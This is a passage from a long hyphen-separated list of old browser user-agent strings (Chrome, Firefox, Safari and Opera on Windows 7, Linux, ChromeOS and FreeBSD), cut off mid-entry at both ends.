(KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.1b3;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.5.3;MEGAUPLOAD 1.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbVD/3.8.0.12304 Firefox/3.6.13 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 AskTbCLM/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 -Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 -Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 -Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 